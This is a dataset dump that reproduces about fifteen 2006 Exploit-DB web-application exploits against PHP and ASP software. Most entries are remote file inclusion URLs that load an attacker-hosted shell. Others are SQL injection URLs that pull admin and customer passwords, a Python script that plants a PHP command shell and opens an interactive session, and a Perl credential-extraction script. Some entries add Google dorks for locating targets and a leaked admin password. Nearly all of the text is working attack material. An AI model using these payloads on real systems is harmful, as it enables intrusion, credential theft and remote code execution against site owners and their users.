QLWD/code_shield huggingface dataset:
标题: PHPartenaire 1.0 - 'dix.php3' Remote File Inclusion EDB-ID: 2409 CVE: 2006-5032 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: #===================================================================================#
#
# PHPartenaire => $url_phpartenaire Remote File Inclusion Exploit
#
#===================================================================================#
#
# Softname : PHPartenaire
# Url : http://ograweb.free.fr/phpartenaire/
# Exploit type : Remote File Inclusion.
# Critical: Dangerous.
# Solution Status: Unpatched.
#
#===================================================================================#
#
# By DaDIsS - Member of the Moroccan Hackers Team
#
#===================================================================================#
#
# Exploit Explanation : 
#
#
# The flaw resides in dix.php3 file that contain this code :
# 
# in line 9 :
#
# include($url_phpartenaire."/config.php3");
#
#===================================================================================#
#
# Example : 
#
#
# http://www.victime.com/(path)/dix.php3?url_phpartenaire=http://attacker
#
#
#================================================================#
#
# Greetz : YouYouCool, Hacker1, and all Moroccan Hackers Team, viva Morocco guyz !!
#
#===================================================================================#
#
# DaDIsS / dadiss@virtuaplanet.net
# Proud to be a Moroccan !
#
#===================================================================================#

# milw0rm.com [2006-09-21] URL: https://www.exploit-db.com/exploits/2409
标题: pNews 1.1.0 - 'nbs' Remote File Inclusion EDB-ID: 2407 CVE: 2006-5022 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                         PowerNews v1.1.0 (nbs) Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          Affected Software .: PowerNews v1.1.0
                          Download..: http://sourceforge.net/project/showfiles.php?group_id=35550                           
     Class .............: Remote File Inclusion                                     
                          Risk ..............: high                              
                          Found by ..........: CvIr.System                                                  
                          Contact ...........: CvIr.System[at]gmail.com                                   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Affected File:                                                                
includes/global.php

 Vulnerable Code:

if(@fopen($nbs .'./includes/config.php', 'a'))
{
    die("config.php is writeable by your webserver, this is a possible security risk.");
}    

include($nbs .'./includes/config.php');
include($nbs .'./includes/auth.php');
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:
                                                                      
    http://[target]/includes/global.php?nbs=[shell]? 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Special GreetingS:_ANtrAX_|Azrael|her0|Matasanos|Ednux|4ur3v0ir|FR34K|Quetzal|Hanowars|xarnuz|Slappter|by_emR3|mnox|Malvinas|Txis|The Shredder|FaLeNcE

# milw0rm.com [2006-09-21] URL: https://www.exploit-db.com/exploits/2407
标题: AllMyGuests 0.4.1 - 'cfg_serverpath' Remote File Inclusion EDB-ID: 2405 CVE: 2006-4993 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-20 漏洞利用脚本: #============================================================================#
#
# AllMyGuests =>  ?_AMGconfig[cfg_serverpath] Remote File Inclusion Exploit
#============================================================================#
#           
# Scirpt Infected signin.php
#
# Critical level : Dangerous
#============================================================================#
#
# By Br@Him Ma-Edition
#============================================================================# 
#
# Http://www.Af-Team.com
#
# Arabian-FighterZ Crew
#
#
#
#
#=============================================================================#
#
#
# Exploit:
###################################################################################################
#
# Http://www.Victime.com/modules.php?name=allmyguests
# http://www.vicitime.com/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=Attacker
#
#
# Search Google ( Nuke ET Copyright © 2004 por Truzone. )
# ( allinurl:*.edu.*/modules.php?name=allmyguests )
# ( "powered by AllMyGuests" )
#
# To Contact: Brahim@legenie.net or Brahim118@yahoo.fr
#
# Greet : Silitoad STr0ke. Sn1p8r. Ope3runix . Simo64 .The_Condor.r00ted . Silitix . Zakix .Daftrix.
# Oli Nsinah lmera lmajia :P
###################################################################################################
By Morocco

Notes:
Nuke module as well as the standalone is vulnerable.
http://www.vicitime.com/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=Attacker
http://www.vicitime.com/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=Attacker
/str0ke

# milw0rm.com [2006-09-20] URL: https://www.exploit-db.com/exploits/2405
标题: Digital WebShop 1.128 - Multiple Remote File Inclusions EDB-ID: 2398 CVE: 2006-4945 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: # Title  :  Digital WebShop = v1.128 Multiple Remote File Include Vulnerabilities
# Author :   ajann
# Script Page : http://digitalwebshop.dyndns.org

# Exploit;
*******************************************************************************
[Files]
rechnung.php
prepend.php
[/Files]

[Code,1]
prepend.php Error:

// include Werzeuge
..
....
require_once($_PHPLIB["libdir"] . "phpDB-mysql.lib");                   /*
Mysql Class*/
require_once($_PHPLIB["libdir"] . "messages_inc.php");                  /*
Layout f?r Echos & Prints. */
....
..

Key [:] _PHPLIB[libdir]=http://target.com/command.php?

\Example:

http://target.com/rechnung.php?_PHPLIB[libdir]=http://target.com/command.php?

# ajann,Turkey
# ...
# Im not Hacker!

# milw0rm.com [2006-09-19] URL: https://www.exploit-db.com/exploits/2398
标题: BCWB 0.99 - 'ROOT_PATH' Remote File Inclusion EDB-ID: 2399 CVE: 2006-4946 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: *******************************************************************************
# Title  :  Bcwb 0.99(root_path)Remote File Include Vulnerability

# Author :   ajann

# Greetz :   shadow and Suskun for host : )

# Exploit;

*******************************************************************************
[File]
startup.inc.php
[/File]

[Code,1]
startup.inc.php Error:


..
....
// Debug services
include($root_path.'include/startup/debug.inc.php');
include($root_path.'include/startup/common_functions.inc.php');
include($root_path.'include/lib/data.lib.php');
....
..

Key [:] root_path=http://target.com/command.php?

\Example:

http://target.com/include/startup.inc.php?root_path=http://target.com/command.php?

# ajann,Turkey
# ...
# Im not Hacker!

# milw0rm.com [2006-09-19] URL: https://www.exploit-db.com/exploits/2399
标题: Simple Discussion Board 0.1.0 - Remote File Inclusion EDB-ID: 2396 CVE: 2006-4918 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: Simple Discussion Board Multiple F.le Inclusion Vulnerability

credit: CeNGiZ-HaN
mail: cengiz-han@system-defacers.org
team: www.system-defacers.org
Script: Simple Discussion Board (sdb)
Download Adress:http://prdownloads.sourceforge.net/sdb/sdb-0.1.0.tar.gz
class: Remote
Risk: High

Exploit:

http://[target]/[path]/blank.php?env_dir=shell
http://[target]/[path]/blank.php?script_root=shell
http://[target]/[path]/admin.php?env_dir=shell
http://[target]/[path]/builddb.php?env_dir=shell


GreeTz No One ;)

# milw0rm.com [2006-09-19] URL: https://www.exploit-db.com/exploits/2396
标题: Tekman Portal 1.0 - 'tr' SQL Injection EDB-ID: 2395 CVE: 2006-4916 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-19 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Tekman Portal v1.0 (tr) SQL Injection Vulnerability    +
+ Author  : Fix TR                                       +
+ Site    : www.hack.gen.tr                              +
+ Contact : fixtr[at]bsdmail.com                         +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+ Download: http://www.aspindir.com/goster/4425
+ Version : 1.0
+ Bug In  : uye_profil.asp
+ Risk    : High


+ Exp.

http://[Target]/[Path]/uye_profil.asp?uye_id=1+union+select+1,kadi,null,seviye,null,null,null,null,sifre,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+uyeler+Where+seviye+like+2

# milw0rm.com [2006-09-19] URL: https://www.exploit-db.com/exploits/2395
标题: MyReview 1.9.4 - 'email' SQL Injection / Code Execution EDB-ID: 2397 CVE: 2006-4957 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: # MyReview 1.9.4 SQL Injection exploit
#
#
# http://myreview.lri.fr/
#
# in functions.php starting from line 382
# ............ 
# function GetMember ($email, $db, $mode="array")
# {
#    $query = "SELECT * FROM PCMember WHERE email = '$email'" ;
#  result = $db->execRequete ($query);
# .......... 
# 
# $email is not checked before used into $query
# 
# for patch 
# 
# 1. add "$email=addslashes(trim($email));" before $query
# 2. use something else, very buggy script
#
# by STILPU (dmooray[a lu']gmail.com)
#


import httplib, urllib, re, urlparse, sys

def usage():
 print """
MyReview 1.9.4 SQL Injection exploit

Usage: python exploit.py http://target/pathtomyreview/

Requires warnings to be displayed so we cat get the localpath and FILES/ to be writable

by STILPU  (dmooray[a lu']gmail.com)

"""
 sys.exit(1)

def getlocalpath(server):
 params=urllib.urlencode({'email':'\'','motDePasse':'a','ident':'Log in'})
 headers={"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
 con = httplib.HTTPConnection(server)
 con.request("POST",path+"Admin.php",params,headers)
 resp=con.getresponse()
 data=resp.read()
 try:
  localpath=re.search('>/.*B',data[0:10000]).group().replace('>','',1).replace('B','',1) 
 except Exception: print "Exploit failed: didn`t manage to get localpath"; sys.exit(1)
 return localpath
 
def sendshell(server):
 shell="'<?php error_reporting(0); ini_set(\"max_execution_time\",0); system($_GET[cmd]); /*'"
 sql="' union select " + shell + ",0,0,0,'*/ ?>' into outfile '" +getlocalpath(server)+ "FILES/STILPU.php' from PCMember#"
 headers={"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
 params=urllib.urlencode({'email':sql,'motDePasse':'a','ident':'Log in'})
 con = httplib.HTTPConnection(server)
 con.request("POST",path+"Admin.php",params,headers)

def sendcmd(server):
 while 1:
  try:
   cmd=raw_input('sh$ ')
   cmd=cmd.replace(" ","+")
   con = httplib.HTTPConnection(target)
   con.request("GET",path+"FILES/STILPU.php?cmd="+cmd)
   resp=con.getresponse()
   data=resp.read()
   if (cmd=="exit" or cmd=="quit"): break
   print data
  except KeyboardInterrupt: break 


if __name__ == '__main__':

 if len(sys.argv) < 2:
  usage()  
 
 else:
  url = sys.argv[1]
  url = urlparse.urlsplit(url)
  target = url[1]
  path = url[2]
  
  sendshell(target)
  sendcmd(target)

# milw0rm.com [2006-09-19] URL: https://www.exploit-db.com/exploits/2397
标题: PNPHPBB2 < 1.2g - 'phpbb_root_path' Remote File Inclusion EDB-ID: 2390 CVE: 2006-4968 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-18 漏洞利用脚本: Yeah, another ZeroDay Smile

Vendor: http://www.pnphpbb.com/

Vulnerable File: includes/functions_admin.php

Vulnerable Code:

//The phpbb_root_path isn't initialize

include_once( $phpbb_root_path . 'includes/functions.' . $phpEx );

Method To Use:

http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?

How To Fix:

Add this code before the include
Code:
if ( !defined('IN_PHPBB') )
{
   die("Hacking attempt");
}


Google Dork: Powered by PNphpBB2 / Powered por PNphpBB2

# milw0rm.com [2006-09-18] URL: https://www.exploit-db.com/exploits/2390
标题: Pie Cart Pro - 'Inc_Dir' Remote File Inclusion EDB-ID: 2393 CVE: 2006-4969 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: #====================================================================
# Pie Cart Pro => (Inc_Dir) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By SnIpEr_SA
#
#http://www.doodlebabies.com/
#
#=================================================================
#
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://site.com/[path]/affiliates.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/orders.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/events.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/index.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/articles.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/faqs.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/guestbook.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/catalog.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/wholesale.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/weblinks.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/certificates.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/sitesearch.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/contact.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/sitemap.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/search.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/registry.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/error.php?Inc_Dir=http://shell.com/shell.txt?
#
#==============================================================================
#Discoverd By : SnIpEr_SA
#
#Conatact : SnIpEr.SA[at]hotmail.com
#
#GreetZ : SaUdi HaCkRz , Devil-x , shereba, BlacK-Code, KILLERxXx ,Qptan,red devil , mazagi,Mohajer And All My Frind
#http://www.elite-team.cc/vb , www.3asfh.net ,www.lezr.com
============================================================================#

# milw0rm.com [2006-09-19] URL: https://www.exploit-db.com/exploits/2393
标题: CMtextS 1.0 - '/users_logins/admin.txt' Credentials Disclosure EDB-ID: 2388 CVE: 2006-4897 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-17 漏洞利用脚本: :::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
 
 
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- CMtextS <= 1.0 Read Admin Password Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: CMtextS 1.0
- [Script site: http://cmtexts.calctc.com/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
-                 SkD, nukedclx, Ramzes
-
- Greetz for all users DEVIL TEAM IRC Channel !!
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:

http://www.cmtexts.pl/path/users_logins/admin.txt

exemple:
http://cmtexts.calctc.com/users_logins/admin.txt
Read:
lolskr3czulol|zmien has.o na jakie chcesz|muisz zmieni.!
> lolskr3czulol < Admin password.

Now go to:
http://cmtexts.calctc.com/admin.php

Login: Admin
pass: lolskr3czulol

greetz ;-)

#DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam

# milw0rm.com [2006-09-17] URL: https://www.exploit-db.com/exploits/2388
标题: Pie Cart Pro - 'Home_Path' Remote File Inclusion EDB-ID: 2392 CVE: 2006-4970 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: #====================================================================
#Pie Cart Pro =>  (Home_Path) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#http://www.doodlebabies.com/
#
#=================================================================
#
#Script Name: Pie Cart Pro
#Script :) << $$
#http://warez.gtasoft.ru/skripts/Pie.Cart.Pro.Catalog.PHP.NULL-DGT.zip
#
#
#=================================================================
#Bug in : enc/content.php
#
#
#in <<<<  enc/content.php & .....
#=================================================================
#
#Dork : " Powered by Doodle Cart "    &    " Powered by Pie Cart Pro "
#
#Exploit :
#--------------------------------
#
#http://sitename.com/enc/content.php?Home_Path=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ : SnIpEr_SA , KIng18 , ShiKaA , LeCoPrA And All My Frind
#Thaaaaaaaaanx TO : Str0ke  , SnIpEr_SA
#www.S3hr.com 3asfh.net , king18.org  ,lezr.com , xp10.com
===============================================================================#

# milw0rm.com [2006-09-19] URL: https://www.exploit-db.com/exploits/2392
标题: guanxiCRM Business Solution 0.9.1 - Remote File Inclusion EDB-ID: 2381 CVE: 2006-4898 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-16 漏洞利用脚本: #==============================================================================================
#guanxiCRM <= v0.9.1 (rootpath) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://sourceforge.net/projects/guanxicrm/      
#                                                                      
#Version : v0.9.1                                            
#                                                        
#================================================================================================
#
#Example : http://www.nu3d.com/crm
#
#================================================================================================
#Bug in : include/phpxd/phpXD.php
#
#Vlu Code :
#--------------------------------
#     $path = $appconf["rootpath"]. "/include/phpxd/";
#
#     require($path."include/dom.php");
#     require($path."include/dtd.php");
#     require($path."include/parser.php");
#     ?>
#
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/include/phpxd/phpXD.php?appconf[rootpath]=http://SHELLURL.COM?&cmd=id
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & simoo & XoRoN & Saudi Hackerz
==================================================================================================

# milw0rm.com [2006-09-16] URL: https://www.exploit-db.com/exploits/2381
标题: Zix Forum 1.12 - 'RepId' SQL Injection (2) EDB-ID: 2382 CVE: 2006-4612 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-17 漏洞利用脚本: #!/usr/bin/perl
###########################################
# ZIXForum <= v1.12 Exploit
# Vulnerability found by Chironex Fleckeri
# Created By: SlimTim10
# <slimtim10@gmail.com>
###########################################
# Google dork:
# intext:"ZIXForum 1.12 by: ZixCom 2002"
###########################################


use IO::Socket::INET;

usage() unless (@ARGV == 2);

$host = shift(@ARGV);
$dir = shift(@ARGV);

$dir = "\/$dir" if ($dir !~ /^\//);
$dir = "$dir\/" if ($dir !~ /\/$/);
$host =~ s/http:\/\///g;

$path = $dir.'ReplyNew.asp?RepId=-1%20UNION%20SELECT%20null,null,null,J_user,null,null,null,null,null,null,null,null%20FROM%20adminlogins';
$path2 = $dir.'ReplyNew.asp?RepId=-1%20UNION%20SELECT%20null,null,null,J_pass,null,null,null,null,null,null,null,null%20FROM%20adminlogins';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-]Connect Failed: could not connect to $host\r\n"; # show an error!

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
print "[+]User: ";

while ($answer = <$socket>) {
    $answer =~ m/name="R_Headline" size="30" class="normal" value="Re: (.*?)"/ && print "$1\n";
}

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-]Connect Failed: could not connect to $host\r\n";
print $socket "GET $path2 HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Pass: ";

while ($answer = <$socket>) {
    $answer =~ m/name="R_Headline" size="30" class="normal" value="Re: (.*?)"/ && print "$1\n";
}

sub usage {
    print "\n" . "=|=-" x 14 . "=|=";
    print q(
]                                                         [
[  ZIXForum <= 1.12 "RepId" Remote SQL Injection Exploit  ]
]               Tested on ZIXForum <= v1.12               [
[       Created By: SlimTim10 <slimtim10@gmail.com>       ]
]                                                         [);
    print "\n" . "=|=-" x 14 . "=|=\n\n";
    print " Usage: $0";
    print q( [HOST] [PATH] E.g. );
    print "$0";
    print q(  www.host.com /forum/);
    print "\n\n" . "`^" x 29 . "`\n";
    exit;
}

# milw0rm.com [2006-09-17] URL: https://www.exploit-db.com/exploits/2382
标题: Charon Cart 3.0 - 'Review.asp' SQL Injection EDB-ID: 2387 CVE: 2006-4882 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-17 漏洞利用脚本: Vulnerability Report
*******************************************************************************
# Title  :  Charon Cart v3(Review.asp) Remote SQL Injection Vulnerability

# Author :   ajann

# Script Page : http://www.charon.co.uk

# Exploit;

*******************************************************************************

###http://[target]/[path]/Review.asp?ProductID=[SQL HERE]

Example:

//Review.asp?ProductID=-1%20union%20select%20CustomerPassword%20from%20Customers%20Where%20CustomerID%20=%201
//Review.asp?ProductID=-1%20union%20select%20CustomerEmail%20from%20Customers%20Where%20CustomerID%20=%201
Email and Password ==> login.asp [L0gin P4Ge]

Columns;
"""""""""""""""""""""
CustomerID
"""""""""""""""""""""
CustomerEmail
"""""""""""""""""""""
CustomerPassword
"""""""""""""""""""""
ShipCountry
"""""""""""""""""""""
Phone
"""""""""""""""""""""
.........
"""""""""""""""""""""
....
"""""""""""""""""""""
# ajann,Turkey
# ...
# Im not Hacker!

# milw0rm.com [2006-09-17] URL: https://www.exploit-db.com/exploits/2387